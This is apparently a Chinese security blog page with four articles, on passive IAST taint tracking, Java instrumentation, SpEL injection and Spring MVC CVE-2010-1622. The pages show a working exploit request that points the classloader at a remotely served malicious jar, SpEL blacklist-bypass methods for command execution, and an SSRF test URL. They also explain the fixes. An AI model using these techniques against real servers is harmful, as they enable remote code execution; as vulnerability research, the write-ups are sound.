分类 代码审计 下的文章

聊聊对目前Passive IAST的思考

之前一直有在研究Java插桩应用于安全防御以及检测方面的东西,主要分为RASP和IAST。IAST又叫交互式应用安全测试,它目前主要分为主动式(Active)和被动式(Passive)两种,上个暑假有机会重点接触了一下Passive IAST的一些研究工作。这里打算简单聊聊,也算是一个总结与思考。不会涉及太多技术细节,简单分享下我对的被动式IAST的应用以及优势还有劣势的看法以及存在的一些问题和新的思路。希望能和大家一起交流探讨。

Passive IAST原理

核心

利用Instrumentation API我们可以提供一个Agent代理用来监测和协助运行在JVM上的程序,可以在程序启动前修改类的定义。简单来说就是在运行的应用中织入一个我们的程序。而在这个程序中我们就拥有了获取当前应用的上下文,在应用运行中实时分析数据流以及调用栈的能力,同时也可以通过ASM对已经加载的class进行分析与修改。

在织入我们检测的逻辑代码后,被动式IAST主要是通过污点跟踪的方法来对漏洞进行检测,因为是实时数据流,所以这里我们称为动态污点传播分析。这是与静态扫描中污点分析的一个小区别,而其优势和劣势也主要在这里。

插桩&ASM

插桩技术是在保证目标程序原有逻辑完整的情况下,在特定的位置插入代码段,从而收集程序运行时的动态上下文信息。目前基于插桩技术实现Java程序的动态交互安全监测已经有一些实现形式,如RASP,IAST。在Java中插桩通过Instrument以及字节码操作工具(如:ASM,Javassist,Byte Buddy等)实现。细节此处也不展开了,具体可以参考这篇文章插桩技术在Java安全中的应用简述

动态污点传播

污点分析可以抽象成一个三元组<sources,sinks,sanitizers>的形式,其中,source即污点源,代表直接引入不受信任的数据或者机密数据到系统中;sink即污点汇聚点,代表直接产生安全敏感操作(违反数据完整性)或者泄露隐私数据到外界(违反数据保密性);sanitizer即无害处理,代表通过数据加密或者移除危害操作等手段使数据传播不再对软件系统的信息安全产生危害。污点分析就是分析程序中由污点源引入的数据是否能够不经无害处理,而直接传播到污点汇聚点。如果不能,说明系统是信息流安全的;否则,说明系统产生了隐私数据泄露或危险数据操作等安全问题。简单来说就是我们安全中常说的:一切输入都是有害的。

污点分析的处理过程可以分成以下3个阶段。

(1) 识别污点源和汇聚点

(2) 污点传播分析

(3) 无害处理

简单理解污点分析技术1

除了<sources,sinks,sanitizers>,在实际过程中应该还有个Propagator,它主要是针对一些污点可能丢失的地方增加的方法。
接着我们具体说下动态污点传播,原理都是一样的,而动态主要是结合了插桩技术之后的产物。
举个简单的SSRF例子:

根据代码我们在IAST中设置RequestFacade.getParameter(java.lang.String)为我们设置的Source点;设置Propagator污点传播:如果URL<init>接受的构造参数为污点,那么return值也标记为污点;Sink点最后设置为URL的openConnection()方法,检测接受的污点参数是否为自身。
触发请求
http://localhost:8888/011-ssrf-urlconnection.jsp?url=http://0x7f000001
查看IAST日志

可以看到我们从Source点中获取的污染return值,继续跟踪调用栈
之后接着是URL url = new URL(urlString);

可以看到日志中触发到了URL的构造方法,同时被污染参数也传进去了,程序判断后将return值也标记为污点。
跟进代码可以看到没有问题,此时spec参数是被污染参数。

继续跟进URLConnection urlConnection = url.openConnection();

查看应用中的调用栈,可以看到触发java.net.URL.openConnection()

最后一直往下实际会触发到sun.net.www.protocol.http.openConnection()方法
查看IAST日志

可以发现记录到了这次调用栈,同时发现Sink点java.net.URL.openConnection()进入的自身URL参数为污点,所以报告存在漏洞,由此一次动态的污点跟踪完成。

其实配合插桩动态污点分析主要优势是实时性,这样其实是相对静态污点分析的一个好处,因为静态污点分析更多的依赖分析出数据流图的算法,是可能存在路径爆炸成环问题,而在Java中存在各种动态的语言特性如反射,多态以及新的语法形式,静态污点分析往往对这种特性无能为力。
10934490-image1-2
那IAST的动态污点分析则从本质上排除了种种问题,(如上图)我们通过分析应用实时结果与数据流可以轻松的跳过动态语言特性导致的问题,以及可达性分析算法可能出现的问题。除此以外在结合插桩技术后我们可以获得更多的程序运行实时的上下文信息,这极大的方便了检测时对各类数据分析的全面需求,可以更好的进行一些普通黑盒或者白盒不能完成的漏洞检测。但这同样会导致了一些问题,功在实时,过也在实时。完全的依赖程序自身的运行逻辑是可能导致一些隐式污点传播路径被我们忽略。也就是说这种方法更加依赖交互式自动化测试的全面性,因为它可能出现一些隐式的污点传播路径没有被触发到。其优点和缺点我们后面具体再讨论。

如何存储与处理污点传播

那么在进行插桩中如何存储污点以及如何判断污点呢?虽然我们知道Instrumentation API结合ASM可以修改类,那直接往类里面加一个标记属性不就好了,但我们还要注意的是因为JVM双亲委派的类加载方式的存在,你没有办法轻易的修改Bootstrap ClassLoader加载的核心API,比如Integer,String。当然也是有方法的比如写一个Integer类并编译

在启动时通过java -Xbootclasspath/p:myinteger.jar MyIntegerTest参数去替换核心API
输出如下:

但这样也有点麻烦,而且遇到需要IAST热部署的场景就不行了。

除此以外你可能还会碰见用户自己写的实体类也需要整个标记污点,如果只给几个String,Interger这样的传播参数进行标记显然覆盖面比较少,灵活性不好。同时Java也是存在基本类型的比如byte数组,char这些是没法添加属性的。

如何解决?比较好的方法应该是通过一个Map将所有标记为污点的参数缓存下来(一定时间内删除),同时在其他栈中方法进入参数时去判断参数对象是否Map中containsValue,那么核心就是要设计一个合适的containsValue算法,会涉及到hashcode,equals一些的内容。还有就是将Propagator覆盖全,会减少污点丢失的情况。

Passive IAST优势

大致原理也已经简要说了一些,我们再转过头来看看被动式IAST优势,以及它主要是覆盖什么应用场景。
优势:

  1. 漏报率低,采用污点分析
  2. 检测中无重放数据,不会产生“脏”数据
  3. 检测精度高,可以结合数据流以及请求上下文来分析
  4. 支持代码层面的分析
  5. 支持数据包加密场景
  6. 实时性强,同时可以构造验证漏洞请求包
  7. 操作简单,方便漏洞定位与修复
  8. 解决应用系统安全测试与效率的矛盾

应用场景:

  1. 用于SDL中安全测试环节
  2. 适用于上线前的测试,测试人员无需了解安全
  3. 针对APP存在数据流量加密
  4. 安全人力缺乏状况

被动式与主动式IAST对比

主动式我们以百度开源的openrasp-iast来看,可以关注下https://github.com/baidu-security/openrasp-iast

主动式IAST实际上可以说是DAST+RASP,百度这个项目做了很好的融合,它通过python对Agent转发来的流量进行添加payload后重放,之后通过RASP去判断是否到达最后的Hook点。
它的优势是通过有效的攻击payload去测试,这样可以有一定效果的走入应用中的条件判断,也就是说被动式如果接受一个id参数,应用先去数据库去查询有没有这个值再去进行后面的流程,被动式是没办法自动的感知到这个过程的,会导致当后面触发sink点也会报出来;而主动式因为重放修改过id参数所以可以明确的知道这个值无法往下的流程走,则会减少这样的误报。当然这也引出了另一个问题,主动式会可能有脏数据,虽然说最后漏洞的触发点hook住了,但是没法保证在这个过程中是否有一些安全的方法进行了存储的操作并将这个没用的测试脏数据存进去。

被动式会完全相信用户设置的sanitizers,当污点进入清洁器后是没办法判断用户写的过滤函数是否有效,主动式在这方面有一定优势,虽然payload不会各种各样大量的发,但是有特征如单引号可以在一定程度上提高检测用户写的过滤函数的有效性。也是因为这个原因,实际上被动式漏报会更少,而主动式误报会更少。

至于场景方面,主动式因为要构造请求包重放,当遇到一些加密数据包的场景是没办法很好的覆盖的,反而被动式不需要重放则可以覆盖。不过复现的话主动会更轻松一点,因为它已经给你配好了payload,被动则需要自己再构造一下。在分布式中,各有利弊,被动式污点存取和传播需要考虑更好的方法,主动式对于输出的调用栈可能不是很全面,都可以参考下全链路监控的解决方法。

若按配置完整后的效果来说,当被动式IAST的Source,Sink,Propagator,Sanitizers覆盖范围全,用户提供的sanitizers有效,同时其中的validation可以将一些会进行数据库判断的值排除掉。被动式IAST会更胜一筹,因为它可以获取应用运行时状态的上下文信息更多,主动式目前只是主要关注sink点,而被动式在source和sink都有确定后是可以获取运行上下文以及前后请求的返回数据包,这样其实更能覆盖一些漏洞场景,比如涉及到前端渲染后页面触发的漏洞。

另一方面,也是前面提到过无论被动式还是主动式IAST是依赖用户的测试能力的,比如当执行一个条件判断,可以进入两个分支a,b。而测试只进入了a分支,导致b分支可能触发的漏洞没有发现。实际上也是去静态分析的一个区别。

对特定漏洞场景的新检测方式

因为被动式拥有获取整个应用上下文能力以及实时修改类的能力,那当我们利用这个特性可以达到一些在特定语言规则下检测之前没办法检测漏洞的能力。这里主要提一个对Java中JPA(Java Persistence API)的存储型XSS检测的例子简单说一下。
主要利用了一个DynamicSource,可以说是热更新增加Source点,使用了retransform机制。
大致思路路:在类加载时检测实体类是否带有persistence的注解比如@Entity,@Embedded等,也就是表明这些类与数据库对应表有映射关系,接下来运行中判断下污点进入该类的⽅法名开头是不是set,如果是去找这个类有没有对应getXxx方法,如果有就把getXxx⽅法标记并动态去增加⼀个source点(通过热更新类的方式)。
DynamicSource

我们再来整体看一下这个流程,原理其实就是当一个类和数据库有映射关系时,那么如果我们执行过set对应属性,也就是代表了往这个表存过这个字段的值,我就可以断定这个值是可控的,所以它的get属性方法可以提取到我们写入的污点,则从数据库表中获取这个字段。所以getXxx动态成为一个新的source点。也由此达到了存储型XSS的检测方式。

目前存在的难点与挑战

  • 多classLoader环境可能导致的错误插桩
  • 分布式污点存储以及对比的方法
  • Sink,Source,Propagator需要不断完善
  • 热插拔以及热更新动态策略
  • 欠污染,过污染,隐式污点传播,条件分支判断
  • Sanitizers执行效果验证
  • 插桩对native-image有无解决方案

思考

由于动态执行轨迹并不能完全反映出被执行的指令之间的控制依赖关系,那么是否可以实时加载类后采用静态分析得出的数据流图+Passive IAST,两者相互补充完善,来获取一个更全面的应用数据流图去解决一些分支问题或者隐式污点的预测。
主被动结合,将主动重放的优势配合动态污点,获取一个更准确的可能攻击流和验证Sanitizers效果来减少误报。
缓存每个session中请求触发的调用栈,通过相似度判断来区分当前session的用户身份,是否可能实现一些越权检测的能力。

参考

http://www.jos.org.cn/html/2017/4/5190.htm
https://github.com/firmianay/CTF-All-In-One/blob/master/doc/5.5_taint_analysis.md
https://www.ibm.com/developerworks/cn/java/j-lo-jse61/
https://www.freebuf.com/articles/web/216185.html

SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析

CVE-2010-1622很老的的一个洞了,最近在分析Spring之前的漏洞时看到的。利用思路很有意思,因为这个功能其实之前开发的时候也经常用,当然也有很多局限性。有点类似js原型链攻击的感觉,这里分享出来。

介绍

CVE-2010-1622因为Spring框架中使用了不安全的表单绑定对象功能。这个机制允许攻击者修改加载对象的类加载器的属性,可能导致拒绝服务和任意命令执行漏洞。

Versions Affected:
3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)

Earlier versions may also be affected

Java Beans API

JavaBean是一种特殊的类,主要用于传递数据信息,这种类中的方法主要用于访问私有的字段,且方法名符合某种命名规则。如果在两个模块之间传递信息,可以将信息封装进JavaBean中。这种JavaBean的实例对象称之为值对象(Value Object),因为这些bean中通常只有一些信息字段和存储方法,没有功能性方法,JavaBean实际就是一种规范,当一个类满足这个规范,这个类就能被其它特定的类调用。一个类被当作javaBean使用时,JavaBean的属性是根据方法名推断出来的,它根本看不到java类内部的成员变量。
内省(Introspector) 是Java 语言对 JavaBean 类属性、事件的一种缺省处理方法。其中的propertiesDescriptor实际上来自于对Method的解析。
如我们现在声明一个JavaBean—Test

在类Test中有私有属性id,我们可以通过getter/setter方法来访问/设置这个属性。在Java JDK中提供了一套 API 用来访问某个属性的 getter/setter 方法,这就是内省。
因为内省操作非常麻烦,所以Apache开发了一套简单、易用的API来操作Bean的属性——BeanUtils工具包。
Java Beans API的Introspector类提供了两种方法来获取类的bean信息:

这里就出现了一个使用时可能出现问题的地方,即没有使用stopClass,这样会使得访问该类的同时访问到Object.class。因为在java中所有的对象都会默认继承Object基础类
而又因为它存在一个getClass()方法(只要有 getter/setter 方法中的其中一个,那么 Java 的内省机制就会认为存在一个属性),所以会找到class属性。
如下:

output:

其中后三个属性是我们预期的(虽然没有pass属性,但是有getter方法,所以内省机制就会认为存在一个属性),而class则是对应于Object.class。
未命名文件-2

如果我们接着调用

可以获得更多信息

可以看到关键的classLoader出现了

SpringMVC如何实现数据绑定

首先SpringMVC中当传入一个http请求时会进入DispatcherServlet的doDispatch,然后前端控制器请求HandlerMapping查找Handler,接着HandlerAdapter请求适配器去执行Handler,然后返回ModelAndView,ViewResolver再去解析并返回View,前端解析器去最后渲染视图。
屏幕快照 2019-10-17 下午8.49.43
在这个过程中我们这里主要关注再适配器中invokeHandler调用到的参数解析所进行的数据绑定(在调用controller中的方法传入参数调用前进行的操作)。
无论是spring mvc的数据绑定(将各式参数绑定到@RequestMapping注解的请求处理方法的参数上),还是BeanFactory(处理@Autowired注解)都会使用到BeanWrapper接口。
20170119132139329
过程如上,BeanWrapperImpl具体实现了创建,持有以及修改bean的方法。
其中的setPropertyValue方法可以将参数值注入到指定bean的相关属性中(包括list,map等),同时也可以嵌套设置属性。
如:
tb中有个spouse的属性,也为TestBean

变量覆盖问题

在springMVC传进参数进行数据绑定的时候存在一个这样的变量覆盖问题,我们来看一下demo

新建两个类User和UserInfo,其中User的name和UserInfo中id有get和set方法,而UserInfo中的user,number和names[]数组只有get方法。

测试controller,发送请求

结果:
屏幕快照 2019-10-19 下午1.57.03

可以看到id正常,number没有接收到也正常,因为没有set方法,class和classLoader同样没有set方法,所以失败。name有set所以赋值成功。
接下来的names反而发现赋值成功了,这就比较有意思了,因为names这里我们没有设置set方法它却成功赋值。
上面我们分析流程提到了BeanWrapperImpl的setPropertyValue方法是用来绑定赋值的,所以我们在此处打上断点,一起调试一下看一下。
屏幕快照 2019-10-19 下午2.14.17
跳到names[0]处理时
屏幕快照 2019-10-19 下午2.12.04
接着看一下它是如何获得对应的类中参数
屏幕快照 2019-10-19 下午2.25.43
跟进getPropertyValue方法
屏幕快照 2019-10-19 下午2.27.20
发现是从CachedIntrospectionResults获取PropertyDescriptor。我们来看下CachedIntrospectionResults如何来的。
Xnip2019-10-19_14-33-40
看到了熟悉的Introspector.getBeanInfo。这也就是我们上面讲过的内省,因此可以理解它为什么它能去获取到没有set的属性。
接着到赋值操作。
Xnip2019-10-19_14-21-15
看代码可以知道当判断为Array时会直接调用Array.set,由此绕过了set方法,直接调用底层赋值。后面同样List,Map类型的字段也有类似的处理,也就是说这三种类型是不需要set方法的。对于一般的值,直接调用java反射中的writeMethod方法给予赋值。

漏洞复现

环境:tomcat-6.0.26 spring-webmvc-3.0.0.RELEASE
构建一个jar包META-INF中放入spring-form.tld和tags/InputTag.tag

内容为:

编译出的jar包放到web上提供下载

待测试springmvc编写jsp代码

controller如下:

部署并启动tomcat后打开页面
http://localhost:8088/hello?class.classLoader.URLs[0]=jar:http://127.0.0.1:8000/sp-exp.jar!/
屏幕快照 2019-10-19 下午6.25.29
成功触发

漏洞原理

通过上面可以知道,我们利用了springmvc的参数自动绑定配合数组变量覆盖,造成了class.classLoader.URLs[]可以被控制,之后发生了这次RCE。
我们来具体看下之后是如何执行的。

首先setPropertyValue将对应参数填入URLs[],结果如上图已经赋给了classloader
接着在渲染jsp页面时,Spring会通过Jasper中的TldLocationsCache类(jsp平台对jsp解析时用到的类)从WebappClassLoader里面读取url参数(用来解析TLD文件在解析TLD的时候,是允许直接使用jsp语法的)在init时通过scanJars方法依次读取并加载。

这里主要是在ViewRwsolver视图解析渲染流程中,其他细节我们不用关注,在完成模版解析后,我们可以看下生成的文件,发现除了_jsp.clss还有我们从jar中下载的恶意代码InputTag_tag.class已经被编译到本地。
屏幕快照 2019-10-19 下午6.27.23
首先来看hello_jsp.java,因为实际上jsp就是一个servlet,所以最后生成是一个java文件。

首先static块里面可以看到引入的外部jar包,然后代码中对应<spring:form><spring:input>标签的是_jspx_meth_form_005fform_005f0,_jspx_meth_form_005finput_005f0两个方法。
具体看

new了一个InputTag_tag类并执行doTag()方法,对应我们之前的InputTag.tag,看它生产的java文件中doTag()方法。

发现是这里最后执行了之前tag中写的代码导致RCE。

简单总结下主要流程:
exp->参数自动绑定->数组覆盖classLoader.URLs[0]->WebappClassLoader.getURLs()->TldLocationsCache.scanJars()->模板解析->_jspx_th_form_005finput_005f0.doTag()->shellcode

限制条件

首先需要该应用使用了对象绑定表单功能,其次由代码可知

需要是该应用启动后第一次的jsp页面请求即第一次渲染进行TldLocationsCache.init才可以,否则无法将修改的URLs内容装载,也就无法加载我们恶意的tld。

如何修复

Tomcat:
虽然是spring的漏洞,但tomcat也做了修复

Return copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.

屏幕快照 2019-10-20 下午12.18.55
tomcat6.0.28版本后把getURLs方法返回的值改成了clone的,使的我们获得的拷贝版本无法修改classloader中的URLs[]

Spring:
spring则是在CachedIntrospectionResults中获取beanInfo后对其进行了判断,将classloader添加进了黑名单。

参考

https://www.inbreak.net/archives/377
http://drops.xmd5.com/static/drops/papers-1395.html
https://www.exploit-db.com/exploits/13918
https://dingody.iteye.com/blog/2190987
https://wooyun.js.org/drops/Spring框架问题分析.html
http://blog.o0o.nu/2010/06/cve-2010-1622.html
https://my.oschina.net/u/1170022/blog/138466
https://blog.csdn.net/xiao1_1bing/article/details/81078649
https://www.iteye.com/topic/1123382
http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/loader/WebappClassLoader.java?r1=964215&r2=966292&pathrev=966292&diff_format=h

插桩技术在Java安全中的应用简述

介绍

随着信息技术的发展,软件开发技术呈多样性发展趋势,其中Java在开发领域具有一定代表性。软件效率的提高同时增大了漏洞发现与防御的挑战。在当前WAF与静态代码检测都发展迅速的情况下,WAF在一些特殊情况下可能无法正确拦截,而静态检测的缺点在于误报率高。因此需要进行动态交互式监测,由此可以从底层对于攻击向量进行检测或者验证程序中是否实际存在安全漏洞。

插桩技术是在保证目标程序原有逻辑完整的情况下,在特定的位置插入代码段,从而收集程序运行时的动态上下文信息。

目前基于插桩技术实现Java程序的动态交互安全监测已经有一些实现形式,如RASP,IAST。在Java中插桩通过Instrument以及字节码操作工具(如:ASM,Javassist,Byte Buddy等)实现。接下来会简要介绍该技术以及相关知识内容。

相关知识

Instrument

Java SE 5引入了一个静态Instrument的概念,利用它我们可以构建一个独立于应用程序的代理程序(Agent),用来监测和协助运行在JVM上的程序,可以在程序启动前修改类的定义。这样的特性实际上提供了一种虚拟机级别支持的AOP实现方式,使得开发者无需对应用程序做任何升级和改动,就可以实现某些AOP的功能了。
在应用启动时,通过-javaagent参数来指定一个代理程序。
详细介绍见:https://www.ibm.com/developerworks/cn/java/j-lo-jse61/

Java Instrument工作原理

javaagent
00218c2023a2ba140887543f88a4fd99

  1. 在JVM启动时,通过JVM参数-javaagent,传入agent jar,Instrument Agent被加载,调用其Agent_OnLoad函数;
  2. 在Instrument Agent 初始化时,注册了JVMTI初始化函数eventHandlerVMinit;
  3. 在JVM启动时,会调用初始化函数eventHandlerVMinit,启动了Instrument Agent;
  4. 用sun.instrument.instrumentationImpl类里的方法loadClassAndCallPremain方法去初始化Premain-Class指定类的premain方法。初始化函数eventHandlerVMinit,注册了class解析的ClassFileLoadHook函数;
  5. 调用应用程序的main开始执行,准备解析;
  6. 在解析Class之前,JVM调用JVMTI的ClassFileLoadHook函数,钩子函数调用sun.instrument.instrumentationImpl类里的transform方法,通过TransformerManager的transformer方法最终调用我们自定义的Transformer类的transform方法;
  7. 因为字节码在解析Class之前改的,直接使用修改后的字节码的数据流替代,最后进入Class解析,对整个Class解析无影响;
  8. 重新加载Class依然重新走6-7步骤;

Java字节码操作工具

BCEL
这是Apache Software Fundation的jakarta项目的一部分。BCEL它可以让你深入JVM汇编语言进行类的操作的细节。
ASM
是一个轻量及java字节码操作框架,直接涉及到JVM底层的操作和指令,性能高,功能丰富。
Javassist
是一个开源的分析、编辑和创建java字节码的类库。性能消耗较⼤大,使⽤用容易。
Byte Buddy
是一个字节码生成与操作库,操作起来更简单。

示例

通过插桩获取SpEL执行中表达式的值(使用Byte Buddy)
Agent:

Interceptor:

程序运行时配置

效果:
屏幕快照 2019-03-12 下午12.39.35

应用

RASP

RASP(Runtime application self-protection)运行时应用自我保护,RSAP将自身注入到应用程序中,与应用程序融为一体,实时监测、阻断攻击,使程序自身拥有自保护的能力。并且应用程序无需在编码时进行任何的修改,只需进行简单的配置即可。
7195ace984937ccbddc171ece82e237e
可见百度开源的OpenRASP(https://rasp.baidu.com)
check

IAST

IAST(Interactive Application Security Testing)交互式应用安全测试,是一种灰盒测试技术。结合SAST和DAST的优点,在模拟黑客外部攻击的同时,对内部实时数据进行监视,提高测试精度。
两种模式
1.Active IAST (主动型)
一个组件产生恶意攻击流程,另一个组件在运行时监视应用。由此来达到漏洞定位以及减少误报。即RASP Agent + DAST = IAST
图片3
可以参见Burpsuite的infiltrator(https://portswigger.net/burp/documentation/infiltrator)
屏幕快照 2019-03-11 下午6.05.33

2.Passive IAST (被动型)
在运行时监视应用并分析代码,它不会主动对Web应用程序执行攻击,而是纯粹被动地分析检测代码。这实际上是一个巨大的优势,因为它不会影响同时运行的其他测试活动,并且只需要业务测试(手动或自动)来触发安全测试。
iast-architecture

IAST如何分析
IAST类似于APM,使用安全传感器来检测应用程序和API。安全相关事件由传感器直接在正在运行的应用程序进行监测,并传递给分析引擎,分析引擎汇总这些事件并识别代码执行的易受攻击程度。
IAST传感器创建了一系列与安全相关的事件,并这些事件提供给分析引擎。该引擎可以执行各种规则。
10934490-image1

In effect, IAST establishes guardrails for a program. If the stream of telemetry from the sensors indicates that the behavior of the program has violated one of these guardrails, it is reported as a vulnerability.

总结

插桩技术可以很好的用于交互式应用检测与程序运行时的自我保护,它通过Java探针达到可以在执行代码底层分析上下文环境的能力。随着计算机各个方面性能的整体提高,也已成为当前安全监测中值得研究的一个方向。
10934497-picture3

参考

http://blog.nsfocus.net/rasp-tech/
http://kns.cnki.net/KCMS/detail/detail.aspx?dbcode=CMFD&filename=1014026901.nh
http://ouyblog.com/2019/03/基于Java-Agent与Javassist实现零侵入AOP
https://www.jianshu.com/p/9f4e8dcb3e2f
https://github.com/gyyyy/footprint/blob/f0f811fe2302df8cca9a151660f9d96d4b030784/articles/2018/application-security-testing-cheatsheet.md
http://www.zjtbzx.gov.cn/html/2018/08/31/9744bdb6-cea3-4c51-aa7b-aa76ea647bfa.htm
https://blog.secodis.com/2015/11/26/the-emerge-of-iast/
http://sectooladdict.blogspot.com/2017/05/dast-vs-sast-vs-iast-modern-ssldc-best.html
https://dzone.com/refcardz/introduction-to-iast?chapter=1

由浅入深SpEL表达式注入漏洞

SpEL介绍

认识SpEL

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。
Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEl可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。除此以外SpEL还能做的有很多,从官方文档中我们可以看到,SpEL支持以下功能。

  • Literal expressions
  • Boolean and relational operators
  • Regular expressions
  • Class expressions
  • Accessing properties, arrays, lists, maps
  • Method invocation
  • Relational operators
  • Assignment
  • Calling constructors
  • Bean references
  • Array construction
  • Inline lists
  • Ternary operator
  • Variables
  • User defined functions
  • Collection projection
  • Collection selection
  • Templated expressions

基础用法以及使用场景

上方功能中加粗的几项是我们在其表达式安全中重点学习的地方,我们首先来看SpEL的常见用法,然后会依次介绍其中几项功能的基本用法,以及在部分框架中SpEl的使用位置。

1.SpEL API

这里使用了SpEL API来评估文字字符串表达式“Hello World”。我们通常用该方式来测试或者使用SpEL表达式。
其中接口ExpressionParser负责解析表达式字符串。在这个例子中,表达式字符串是由周围的单引号表示的字符串文字。之后接口Expression负责评估以前定义的表达式字符串。
所以说上述代码含义为首先创建ExpressionParser解析表达式,之后放置表达式,最后通过getValue方法执行表达式,默认容器是spring本身的容器:ApplicationContext

2.SpEL语法

SpEL使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:

引用其他对象:#{car}
引用其他对象的属性:#{car.brand}
调用其它方法 , 还可以链式操作:#{car.toString()}

其中属性名称引用还可以用$符号 如:${someProperty}
除此以外在SpEL中,使用T()运算符会调用类作用域的方法和常量。例如,在SpEL中使用Java的Math类,我们可以像下面的示例这样使用T()运算符:

T()运算符的结果会返回一个java.lang.Math类对象。

具体常见表达式用法会在4.功能用法示例中给出。

3.SpEL在bean定义中

  1. XML配置
  2. 基于注解的使用

4.功能用法示例

Class expressions
1.类类型表达式
SpEL中可以使用特定的Java类型,经常用来访问Java类型中的静态属性或静态方法,需要用T()操作符进行声明。括号中需要包含类名的全限定名,也就是包名加上类名。唯一例外的是,SpEL内置了java.lang包下的类声明,也就是说java.lang.String可以通过T(String)访问,而不需要使用全限定名。
因此我们通过 T() 调用一个类的静态方法,它将返回一个 Class Object,然后再调用相应的方法或属性:
如:

成功弹出计算器
2.类实例化
使用new可以直接在SpEL中创建实例,需要创建实例的类要通过全限定名进行访问。
如:

Method invocation
方法使用典型的Java编程语法来调用。
如:

Calling constructors
可以使用new调用构造函数。除了基元类型和字符串(其中可以使用int、float等)之外,所有的类都应该使用完全限定的类名。
如:

Bean references
如果解析上下文已经配置,则可以使用@符号从表达式中查找bean。

Variables
变量定义通过EvaluationContext接口的setVariable(variableName, value)方法定义;在表达式中使用#variableName引用;除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象,使用#root引用根对象,使用#this引用当前上下文对象。
如:

在SpEL中比较常见的用途是针对一个特定的对象实例(称为root object)提供被解析的表达式字符串,当我们把contextroot object设置为一个对象时,我们在取的时候可以省略root对象这个前缀了。如下:
首先定义一个类

设置root object后SpEL执行以及结果如下

这里在执行表达式时,SpEL会在内部使用反射从根对象中获取/设置属性的值。

User defined functions
用户可以在SpEL注册自定义的方法,将该方法注册到StandardEvaluationContext 中的registerFunction(String name, Method m)方法。
如:
我们通过JAVA提供的接口实现字符串反转的方法。

我们可以通过如下代码将方法注册到StandardEvaluationContext并且来使用它。

Templated expressions
表达式模板允许文字文本与一个或多个解析块的混合。 你可以每个解析块分隔前缀和后缀的字符。当然,常见的选择是使用#{}作为分隔符。
如:

该字符串是通过连接文字”random number is”与 计算表达式的#{}定界符获取的结果,在此情况下的结果 中调用一个随机()方法。第二个参数的方法parseExpression() 是类型ParserContext的。在ParserContext接口用于影响如何 表达被解析,以便支持所述表达模板的功能。的TemplateParserContext的定义如下所示。

更多细节可查看官方文档

SpEL导致的任意命令执行

漏洞原因

从上方功能的类类型表达式示例中,我们可以看到成功执行了系统的命令,而这也就是整个SpEL安全中造成RCE漏洞的区域。因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。
屏幕快照 2019-01-17 下午10.06.09

其中容易造成漏洞的两个位置是
1.针对一个特定的对象实例提供被解析的表达式字符串
如之前用法示例中Variables所介绍,可能造成指定属性名被构造成恶意代码
2.双重EL表达式评估
如:

这个很明显通过两次EL表达式执行后,如果可以控制传入的directoryNameForPopup参数为恶意代码就会造成漏洞发生

我们可以再看下SpEL提供的两个EvaluationContext的区别。
(EvaluationContext评估表达式以解析属性,方法或字段并帮助执行类型转换时使用该接口。有两个开箱即用的实现。)

  • SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
  • StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集。它不包括 Java类型引用,构造函数和bean引用。

所以说指定正确EvaluationContext,是防止SpEl表达式注入漏洞产生的首选,之前出现过相关的SpEL表达式注入漏洞,其修复方式就是使用SimpleEvaluationContext替代StandardEvaluationContext

常用payload

关键字黑名单过滤绕过:
可以参考之前Code-Breaking Puzzles — javacon的这道题目(writeup http://rui0.cn/archives/1015 ),主要通过正则匹配java关键词(如:java.+lang exec.*\(等)来防御,其绕过方式有两种 如下:

  1. 利用反射构造
  2. 利用ScriptEngineManager构造

在Nuxeo RCE中也有个黑名单绕过,因为它过滤了.getClass(
所以采取的姿势是通过SpEL语法的集合选择绕过,payload如下。具体分析可见(http://www.polaris-lab.com/index.php/archives/613

除此以外当执行的系统命令被过滤或者被URL编码掉时我们可以通过String类动态生成字符
如要执行的命令为open /Applications/Calculator.app我们可以采用new java.lang.String(new byte[]{<ascii value>,<ascii value>,...})或者concat(T(java.lang.Character).toString(<ascii value>))嵌套来绕过
两种构造方式的python脚本如下:

加工一下即为

成功执行
屏幕快照 2019-01-17 下午11.41.33

其次如果有输出点需要回显可以使用

[更新-2019.4.14]因为JAVA9新增了JShell,所以我们也可以利用这个功能执行命令 @sagar38 from Twitter

漏洞案例分析

SpringBoot SpEL表达式注入漏洞

影响版本:
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0

首先搭建存在漏洞版本的SpringBoot,创建一个controller并抛出异常
只要在异常信息中包含SpEL表达式即可注入

请求地址

可以看到成功输出
屏幕快照 2019-01-18 下午5.22.29
其造成的原因主要是在ErrorMvcAutoConfiguration.java中的SpelView

该类调用处为

可以知道SpelView主要是为了解析Whitelabel Error Page模板页面去填充其中的相关数据
SpelView中,首先我们可以观察到其使用了StandardEvaluationContext

之后

用于递归解析在${...}中的表达式,也就是这里导致SpEl表达式注入并执行。其中用到SpEl表达式解析执行的目的主要是为了从当前contextrootObject取相关数据 如timestamp(上方功能用法示例中-> Variables 中介绍过)
屏幕快照 2019-01-18 下午7.10.45

大致流程为PropertyPlaceholderHelper类中通过parseStringValue方法递归字符串找到目标去掉 $(),这个方法中调用resolvePlaceholder方法来在context中找到对应的name,并在这里执行了getValue操作。由此造成命令执行。代码如下。

